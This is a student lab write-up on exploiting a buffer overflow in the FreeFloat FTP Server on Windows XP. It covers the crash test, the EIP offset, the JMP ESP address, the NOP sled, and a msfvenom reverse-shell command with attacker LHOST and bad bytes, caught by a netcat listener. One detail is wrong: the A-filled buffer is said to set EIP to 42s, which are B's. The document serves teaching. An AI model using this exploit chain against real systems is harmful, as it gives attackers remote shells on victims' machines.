CPSC 42700 Project 6: Exploiting the FreeFloat FTP Server on Windows XP

**Causing a crash**

The first part of the project I did was making sure that I could crash the program by feeding in a large amount of "A's". I decided that “A\*768” would be plenty enough to crash it. Once I ran the code it did crash the program on the XP machine. Meaning there were no issues with the network, code or programs.

**Determining the return address offset**

The second part of the project was finding the correct offset for the EIP address. The EIP is the return address and tells the computer where to go to execute the next command. When we filled the buffer with all "A's", we did, in fact, overwrite the EIP with **(“42 42 42 42”)**. But this doesn’t help us because it doesn’t correctly differentiate it from the other strings of "A's". To fix this we created a specific generator that generates a pattern of unique characters. Using this genPattern function I filled the buffer again, making sure to overwrite the EIP value.

This time when I looked at the overflown buffer, I can see that the EIP has changed to a series of four hex codes. At this point, I now have the reverse of the characters that I need. After swapping them around, I’m left with four identifiable Ascii hex’s **(“41 69 32 41”**). Which translates into “Ai2A”. Using the "find" command we can then see the exact number that those hex characters occur in the generator. In this case, the offset was "**246**". I can also double check this number by adding 4 "B's". If the EIP becomes the hex codes for B, I will know I have the right offset.

**Finding a JMP ESP instruction**

Now instead of filling the EIP with “B’s” we want to fill it with something else. In this case, we want to fil it with the JMP ESP instruction. This instruction will allow us to jump to the shellcode. I search the shell32.dll to get the JMP ESP value which was **(“\x20\x10\xB4\x7C”).** This can be done just by using the CTRL + F and searching for the JMP ESP value.

At this point, I added a Nopsled character 16 times, this allows you to basically slide right into the area of the stack that you want to be. In this case, the code will “slide" down all the NOP’s and hit the shellcode. Then we can fill the rest of the stack with “C’s”.

**Generating and Inserting Shellcode**

Now we’re done building the code and can now construct the msfvenom BUF code. When building msfvenom code we need to avoid bad characters and fill in the correct listening host IP address. Because size is a limit the code both must be small and not use any bad bytes. Fortunately, msfvenom handles all of this for us and gives us the corresponding buf code to add to our script.

Then all that’s left is to overflow the stack one more time. At the same time, I also set up net cat to listen to port 4444 of anything. When the buffer gets overflow the msfvenom attack will call out to us. Now we have a reverse shell interface that we can use for further attacks against the target machine. Even though only one program was vulnerable we used it to leverage access to the entire system.

**Offset:** 246

**JMP ESP:** \x20\x10\xB4\x7C

**Msfvenom Code**: msfvenom -p windows/shell\_reverse\_tcp LHOST=10.0.2.11 -b '\x00\x0A\x0d\x3d\x20\xff\x40' -f python

Mistakes

One mistake I made that cost me a good bit of time was accidently filling in the LHOST with the wrong address. I was accidently putting the IP of the victim machine and not the attackers IP.

The only other major mistake I made was forgetting that the EIP address is reversed. I was very confused as to why it was giving me a value of “A2iA”. I thought at first, I was looking at the wrong address because that string wasn’t in the generator. Then finally it clicked in my head that it was reversed and was really “AI2A”.